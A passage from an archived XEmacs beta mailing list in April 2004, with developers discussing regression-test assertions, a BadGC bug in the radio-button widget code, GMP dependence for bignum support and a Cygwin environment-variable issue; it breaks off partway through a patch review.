(8.11.6p2/8.9.1) with ESMTP id i3M751s30028; Thu, 22 Apr 2004 03:05:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3M74Fw29437 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 03:04:15 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3M74EU29414 for turnbull@tux.org; Thu, 22 Apr 2004 03:04:14 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3M74Cs29376; Thu, 22 Apr 2004 03:04:12 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BGYFR-0002pa-00; Thu, 22 Apr 2004 16:03:49 +0900 To: Jerry James Cc: XEmacs Beta Subject: Re: Bad test? References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Thu, 22 Apr 2004 16:03:48 +0900 In-Reply-To: (Jerry James's message of "Wed, 21 Apr 2004 21:43:48 -0500") Message-ID: <873c6wo5nv.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> Why don't the failing tests print the *value* on which they Jerry> failed? Because they don't know it, the macro's argument is a sexp and who knows what the "real" argument is? It's easy enough to fix the macro to take a `failure-report' argument, but then somebody will have to go and fix the tests. I'll think about finding a way to fix test-harness so that the tests don't have to be changed but I'm not sure that's possible. Jerry> Plus, what's the point in subtracting one random number Jerry> from another? Evenly distributing the work of covering the 2 billion+ value space over many users without explicit coordination. OK, it's not really a regression test.... Jerry> This test will fail if x happens to be Jerry> most-negative-fixnum, whether the XEmacs is bignum-enabled Jerry> or not. OK, we fix the test, and add a regression test for most-negative-fixnum. (cond ((featurep 'bignum) (Assert (eql ...))) ((= x most-negative-fixnum) (Assert (eql (negative-of-test)))) (t (Assert (eql current-test)))) is that right? Jerry> And then the eq test fails, because two bignums with the Jerry> same value are not necessarily eq. If the test was eql, it Jerry> would work. If the Lisp types are different, eql will return nil, right? Eg, (eql 32 ?\ ) => nil but (= 32 ?\ ) => t I need to change the internals documentation on regression testing, which currently recommends use of `eq' (then you get an Assert failure, and know what broke, where otherwise you get a "misc unexpected failure"), to recommend eql. (This is not provable, it's a heuristic for many functions which return position-or-nil, the Assert failure is more informative in those cases.) -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Thu Apr 22 03:15:16 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3M7F2s05233; Thu, 22 Apr 2004 03:15:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3M7E5o04498 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 03:14:05 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3M7E4604483 for turnbull@tux.org; Thu, 22 Apr 2004 03:14:04 -0400 Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3M7E3s04469; Thu, 22 Apr 2004 03:14:03 -0400 Received: from sfwd01.aul.t-online.de by mailout02.sul.t-online.com with smtp id 1BGYPJ-0004Zl-00; Thu, 22 Apr 2004 09:14:01 +0200 Received: from D5DC120J.t-online.de (GoTr56ZGoeRYO3j-LRuwyShuqzFYnPD2T80L2hjXDUuIKLQKTcs+0l@[217.229.11.110]) by afwd01.sul.t-online.com with esmtp id 1BGYPI-04S56O0; Thu, 22 Apr 2004 09:14:00 +0200 To: XEmacs Beta List erc-help@lists.sourceforge.net, gmane.emacs.erc.general@t-online.de Subject: Notice of private mail loss X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B Date: Thu, 22 Apr 2004 09:15:09 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: GoTr56ZGoeRYO3j-LRuwyShuqzFYnPD2T80L2hjXDUuIKLQKTcs+0l X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello All, due to sillyness on my part I have lost email messages received by my adrian@xemacs.org and adrian.aichner@t-online.de addresses between 2004-04-21T09:00:00+0200 and 2004-04-21T15:00:00+0200 yesterday. For improtant messages you sent to me privately and not to publically available mail archives or news groups, please resend. Thanks, Adrian -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Thu Apr 22 05:35:19 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3M9Z3s14725; Thu, 22 Apr 2004 05:35:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3M9Yjm14489 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 05:34:45 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3M9YiY14461 for turnbull@tux.org; Thu, 22 Apr 2004 05:34:44 -0400 Received: from gossip.bluecoat.com (sv-216-101.bluecoat.com [216.52.23.101] (may be forged)) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3M9Yhs14450 for ; Thu, 22 Apr 2004 05:34:43 -0400 Received: from gossip.bluecoat.com (localhost.localdomain [127.0.0.1]) by gossip.bluecoat.com (8.12.11/8.12.8) with ESMTP id i3M9YbtB018838 for ; Thu, 22 Apr 2004 02:34:37 -0700 Received: (from sppt-mail@localhost) by gossip.bluecoat.com (8.12.11/8.12.8/Submit) id i3M9YbjY018836; Thu, 22 Apr 2004 02:34:37 -0700 Date: Thu, 22 Apr 2004 02:34:37 -0700 Message-Id: <200404220934.i3M9YbjY018836@gossip.bluecoat.com> From: Blue Coat Request Confirmation To: xemacs-beta@xemacs.org X-Mailer: Reply-o-Matic v0.99.0 Precedence: bulk References: <200404220933.i3M9XqEO009020@synonym.cacheflow.com> In-Reply-To: <200404220933.i3M9XqEO009020@synonym.cacheflow.com> Subject: Blue Coat Support Request Confirmation X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Thank you for e-mailing Blue Coat Technical Support! Have you tried finding the answer to your question or issue using our new free, self-service portal 'Instant Support'? Instant Support provides a user-friendly interface used to obtain configuration information, resolve known issues, and provide information to the most frequently asked questions. http://www.bluecoat.com/support/instant_support.html Please note that the preferred method of opening up service requests is via Web Power. http://www.bluecoat.com/support/supportservices/webpower.html Thank You! Blue Coat Technical Support Note: Please do not reply to this email; it was sent from an unattended email account. From xemacs-beta-admin@xemacs.org Thu Apr 22 18:14:24 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3MME3s02978; Thu, 22 Apr 2004 18:14:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3MMDwB02886 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 18:13:58 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3MMDu102849 for turnbull@tux.org; Thu, 22 Apr 2004 18:13:56 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3MMDus02824; Thu, 22 Apr 2004 18:13:56 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3MMDjDu007902; Thu, 22 Apr 2004 17:13:45 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3MMDjtu022039; Thu, 22 Apr 2004 17:13:45 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3MMDjvj022037; Thu, 22 Apr 2004 17:13:45 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: "Stephen J. Turnbull" Cc: Glynn Clements , XEmacs Beta Subject: Re: BadGC with Find dialog References: <16443.49074.972872.94915@cerise.nosuchdomain.co.uk> <16444.9701.204025.877317@cerise.nosuchdomain.co.uk> <871xohs1f6.fsf@tleepslib.sk.tsukuba.ac.jp> <16475.62978.504008.158381@cerise.nosuchdomain.co.uk> <16481.30402.516994.466013@cerise.nosuchdomain.co.uk> <87ptab5hcl.fsf@tleepslib.sk.tsukuba.ac.jp> <87smf312u4.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Thu, 22 Apr 2004 17:13:44 -0500 In-Reply-To: (Jerry James's message of "Mon, 19 Apr 2004 13:20:56 -0500") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , I wrote: > What gets me is that, as far as the Lisp code is concerned, the > "Forwards" and "Backwards" buttons are identical. Yet "Backwards" never > touches GCs during redisplay, and "Forwards" touches them in incorrect > ways. Aha! They are NOT identical: "Forwards" is selected, but "Backwards" is not. It looks to me like the culprit is this line in RadioExpose (line 312 of lwlib/xlwradio.c in current CVS): /* Command widget may sometimes override the label GC in order * to draw inverse video. We don't use inverse video, so we need * to restore the label's normal GC. */ rw->label.normal_GC = rw->command.normal_GC ; We are throwing away one GC (command.inverse_GC, the one I was getting the BadGC on) without decrementing its reference count, and making a copy of another without increasing its reference count. That's bad. Furthermore, with this line in place, you cannot see the label on the selected radio button, because it is drawn with the same GC as its background! I commented this line out. I cannot provoke the BadGC complaint anymore, and now the label is visible. However, the diamond associated with the selected radio button was not visible either before or after making this change. I expected it to be drawn filled in. I'm guessing that there is something wrong with one of these two lines in DrawDiamond (line 555 of the same file): gc = XtIsSensitive(w) ? rw->command.normal_GC : rw->label.gray_GC ; gci = rw->command.set ? rw->command.normal_GC : rw->command.inverse_GC ; where gc is used to draw the diamond outline, and gci is used to draw the inside of the diamond. It looks like gci is always set to rw->command.normal_GC regardless of whether the radio button is selected or not. Where is the code that should change rw->command.set? Apparently it is not doing its job. -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Thu Apr 22 18:55:13 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3MMt2s09488; Thu, 22 Apr 2004 18:55:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3MMs8Z08776 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 18:54:08 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3MMs7a08759 for turnbull@tux.org; Thu, 22 Apr 2004 18:54:07 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3MMs3s08697; Thu, 22 Apr 2004 18:54:03 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3MMrqDu012434; Thu, 22 Apr 2004 17:53:52 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3MMrqtu022256; Thu, 22 Apr 2004 17:53:52 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3MMrqPR022254; Thu, 22 Apr 2004 17:53:52 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: Hrvoje Niksic Cc: "Stephen J. Turnbull" , XEmacs Beta Subject: Re: [21.5] Tweak etc/NEWS References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Thu, 22 Apr 2004 17:53:52 -0500 In-Reply-To: (Hrvoje Niksic's message of "Mon, 19 Apr 2004 17:48:02 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hrvoje Niksic wrote: > I don't think we should advertise bignums as a major feature prior to > any benchmarking having been done. Me, too. > The entry also doesn't mention that we depend on external MP > libraries, which is not at all obvious to me. Python doesn't, and > neither do most other Lisp implementations (e.g. clisp, CMU CL). Huh? Python does not use an external library by default, no, but it surely is set up to take advantage of GMP when present. It has since the GMPY project paved the way some ... what? Three years ago? Anyway, check out Modules/mpzmodule.c in the current python release. GNU Common Lisp (GCL) has used GMP for several years now (see the --enable-gmp configure flag). The clisp sources show traces of having used GMP sometime in the past (see doc/Why-CLISP-is-under-GPL, for example), but I don't see that it is in use now. CLN uses GMP (so the clisp references may have come via Bruno Haible). Even librep uses GMP. Isn't that interesting! I don't think this is so startling as you make out. Nevertheless, I agree that we should point it out. > We might want to include the source of GNU MP (or equivalent) in a > `lib/' directory and use it on machines that lack it on the system. > For implementational simplicity, we might also want to avoid > supporting BSD MP -- but that's obviously Jerry's call. I don't think so. We would be guaranteed to lag behind the official releases. I would be okay with saying, "unpack the current GMP release here and do this", and arrange our configure scripts and Makefiles to do the right thing if GMP is unpacked in that way. We might want to distinguish --use-number-lib=gmp from --use-number-lib=localgmp, or some such. As for BSD MP ... yes, it's a pain in the neck, it's horribly inefficient, and it ought to die. However, I had an important reason for implementing BSD MP support in the first place. I was trying to make the XEmacs interface to the underlying library abstract enough that we could switch out the underlying library if GMP proved to be unwieldy or undesirable for some reason. The BSD MP implementation showed me a number of places where I had not gone far enough. I really don't think you will buy much implementational simplicity at this point by dropping BSD MP. But be my guest to point out places in the code that would be made simpler by doing so. > Once we do that, we can really say that we support bignums. I guess that depends on how you define "support". Thanks for the feedback, Hrvoje. -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Thu Apr 22 19:13:23 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3MND2s24772; Thu, 22 Apr 2004 19:13:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3MNChJ24485 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 19:12:44 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3MNCgP24461 for turnbull@tux.org; Thu, 22 Apr 2004 19:12:42 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3MNCbs24395 for ; Thu, 22 Apr 2004 19:12:37 -0400 Received: (qmail 9708 invoked from network); 23 Apr 2004 01:12:32 +0200 X-Remote-IP: 213.191.128.11 Received: from mx.iskon.hr (qmailr@213.191.128.11) by mxout2.iskon.hr with SMTP; 23 Apr 2004 01:12:32 +0200 Received: (qmail 26966 invoked from network); 23 Apr 2004 01:12:31 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 23 Apr 2004 01:12:31 +0200 To: Jerry James Cc: "Stephen J. Turnbull" , XEmacs Beta Subject: Re: [21.5] Tweak etc/NEWS References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Fri, 23 Apr 2004 01:14:45 +0200 In-Reply-To: (Jerry James's message of "Thu, 22 Apr 2004 17:53:52 -0500") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Jerry James writes: > Hrvoje Niksic wrote: >> I don't think we should advertise bignums as a major feature prior to >> any benchmarking having been done. > > Me, too. > >> The entry also doesn't mention that we depend on external MP >> libraries, which is not at all obvious to me. Python doesn't, and >> neither do most other Lisp implementations (e.g. clisp, CMU CL). > > Huh? Python does not use an external library by default, no, but it > surely is set up to take advantage of GMP when present. Which is perfectly fine. I'm just saying that, if we do bignums, we should do them when GNU GMP and friends are not available, *too*. > I don't think this is so startling as you make out. It's not startling that we use GNU GMP where available, but it might be that we require an external library to support bignums. This is fine as long as bignums are an optional feature, but I'd like that to stop being the case at some point. I hope I'm being clearer now. > As for BSD MP ... yes, it's a pain in the neck, it's horribly > inefficient, and it ought to die. However, I had an important > reason for implementing BSD MP support in the first place. I was > trying to make the XEmacs interface to the underlying library > abstract enough that we could switch out the underlying library if > GMP proved to be unwieldy or undesirable for some reason. Or, if we decided to ship with a simple garden-variety GMP library for systems that don't have GNU GMP and such. :-) Either way, it's good to be able to switch. > The BSD MP implementation showed me a number of places where I had > not gone far enough. I really don't think you will buy much > implementational simplicity at this point by dropping BSD MP. OK. From xemacs-beta-admin@xemacs.org Thu Apr 22 19:52:20 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3MNq2s26025; Thu, 22 Apr 2004 19:52:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3MNpJS25526 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 19:51:19 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3MNpHt25504 for turnbull@tux.org; Thu, 22 Apr 2004 19:51:17 -0400 Received: from n064.sc1.cp.net (h11.rdg.cp.net [209.228.29.61]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3MNpDs25443; Thu, 22 Apr 2004 19:51:13 -0400 Received: from cerise.nosuchdomain.co.uk (62.252.68.46) by n064.sc1.cp.net (7.0.027.3-1) id 4084F1F400041717; Thu, 22 Apr 2004 23:51:12 +0000 Received: (from glynn@localhost) by cerise.nosuchdomain.co.uk (8.11.6/8.11.6) id i3MNfXp01008; Fri, 23 Apr 2004 00:41:33 +0100 From: Glynn Clements MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16520.22573.229409.547651@cerise.nosuchdomain.co.uk> Date: Fri, 23 Apr 2004 00:41:33 +0100 To: Jerry James Cc: "Stephen J. Turnbull" , XEmacs Beta Subject: Re: BadGC with Find dialog In-Reply-To: References: <16443.49074.972872.94915@cerise.nosuchdomain.co.uk> <16444.9701.204025.877317@cerise.nosuchdomain.co.uk> <871xohs1f6.fsf@tleepslib.sk.tsukuba.ac.jp> <16475.62978.504008.158381@cerise.nosuchdomain.co.uk> <16481.30402.516994.466013@cerise.nosuchdomain.co.uk> <87ptab5hcl.fsf@tleepslib.sk.tsukuba.ac.jp> <87smf312u4.fsf@tleepslib.sk.tsukuba.ac.jp> X-Mailer: VM 7.07 under 21.4 (patch 15) "Security Through Obscurity" XEmacs Lucid X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Jerry James wrote: > It looks to me like the culprit is this line in RadioExpose (line > 312 of lwlib/xlwradio.c in current CVS): > > /* Command widget may sometimes override the label GC in order > * to draw inverse video. We don't use inverse video, so we need > * to restore the label's normal GC. > */ > rw->label.normal_GC = rw->command.normal_GC ; I concur. The code for the Command widget does this as well. But Command belongs to the same code base as Label, so it can rely upon specific behaviour from Label. The same can't be said for xlwradio.c, and I'm fairly sure that the Athena documentation doesn't specify the behaviour to this level of detail (and even if it did, I wouldn't rely upon the XFree86 folks to follow it). > However, the diamond associated with the selected radio button was not > visible either before or after making this change. I expected it to be > drawn filled in. I'm guessing that there is something wrong with one of > these two lines in DrawDiamond (line 555 of the same file): > > gc = XtIsSensitive(w) ? rw->command.normal_GC : rw->label.gray_GC ; > > gci = rw->command.set ? rw->command.normal_GC : rw->command.inverse_GC ; > > where gc is used to draw the diamond outline, and gci is used to draw > the inside of the diamond. It looks like gci is always set to > rw->command.normal_GC regardless of whether the radio button is selected > or not. Where is the code that should change rw->command.set? > Apparently it is not doing its job. The default translations for the Toggle widget (which is xlwradio's superclass) include: ,: toggle() notify()"; The "toggle" action is bound to Toggle(), which does: if (tw->command.set) class->toggle_class.Unset(w, event, NULL, 0); else ToggleSet(w, event, params, num_params); and ToggleSet() does: TurnOffRadioSiblings(w); class->toggle_class.Set(w, event, NULL, 0); The Set and Unset methods are initialised to the "set" and "unset" action procedures for the Command class. I suggest checking whether the command.set field is actually being set correctly. If it is, the problem is in the redraw code. If it isn't, the problem is in the event handling. -- Glynn Clements From xemacs-beta-admin@xemacs.org Thu Apr 22 20:28:21 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N0S5s20656; Thu, 22 Apr 2004 20:28:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N0RXW20274 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 20:27:33 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N0RVM20251 for turnbull@tux.org; Thu, 22 Apr 2004 20:27:31 -0400 Received: from nwkea-mail-1.sun.com (nwkea-mail-1.sun.com [192.18.42.13]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N0RVs20243 for ; Thu, 22 Apr 2004 20:27:31 -0400 Received: from phys-mpk-2 ([129.146.11.82]) by nwkea-mail-1.sun.com (8.12.10/8.12.9) with ESMTP id i3N0RU6b020061 for ; Thu, 22 Apr 2004 17:27:30 -0700 (PDT) Received: from sun.com (d-mpk16-78-201.SFBay.Sun.COM [129.146.78.201]) by mpk-mail1.sfbay.sun.com (iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)) with ESMTP id <0HWL00GWXL9UZC@mpk-mail1.sfbay.sun.com> for xemacs-beta@xemacs.org; Thu, 22 Apr 2004 17:27:30 -0700 (PDT) Date: Thu, 22 Apr 2004 17:27:29 -0700 From: Edwin Goei Subject: lower case environment variables for abbreviations with cygwin To: xemacs-beta@xemacs.org Message-id: <408862F1.7060304@sun.com> MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en-us, en User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , When I was running xemacs on unix, I would set lower case environment variables in my shell such as "setenv work /long/path/to/work/dir" and then launch xemacs. Within xemacs I could then use find-file with $work/xxx and it would all work. I am now running on cygwin "XEmacs 21.4 (patch 13) \"Rational FORTRAN\" [Lucid] (i686-pc-cygwin) of Sun May 25 2003 on TSUNAMI", and this no longer works. The lower case env vars are converted to all caps (eg. $WORK) which is more difficult to type. I can think of a workaround, but is there a way that I could get the old lowercase environment var behavior? -Edwin From xemacs-beta-admin@xemacs.org Thu Apr 22 21:28:32 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N1SAs02021; Thu, 22 Apr 2004 21:28:10 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N1Rrn01758 for xemacs-beta-mailman@xemacs.org; Thu, 22 Apr 2004 21:27:53 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3N1Rpr01705 for turnbull@tux.org; Thu, 22 Apr 2004 21:27:51 -0400 Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3N1RBs01279; Thu, 22 Apr 2004 21:27:11 -0400 Received: from 209-6-229-49.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([209.6.229.49] helo=zion.rcn.com) by smtp03.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1BGpTC-0000A4-00; Thu, 22 Apr 2004 21:27:10 -0400 Received: by zion.rcn.com (Postfix, from userid 500) id ECF541E081; Thu, 22 Apr 2004 21:27:53 -0400 (EDT) To: Sven Grundmann Cc: xemacs-beta@xemacs.org Subject: Re: [Q21.4] completion list to wide bug fixed References: From: Vin Shelton Organization: The XEmacs Development Team Date: Thu, 22 Apr 2004 21:27:53 -0400 In-Reply-To: (Sven Grundmann's message of "Fri, 23 Apr 2004 01:15:28 +0200") Message-ID: Lines: 49 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= (Moved to xemacs-beta for discussion purposes.) Hi, Sven! Sven Grundmann writes: > Vin Shelton writes: > > Hello Vin, > Thanks for checking out my patch. >> QUERY - do you think you can address the concerns I raise below? > I'll give it a try. >> 1. The comment above the code needs fixing: >> ;; This needs fixing for the case of windows >> ;; that aren't the same width's the frame. > I'll check it out. >> 2. Also, I note that the 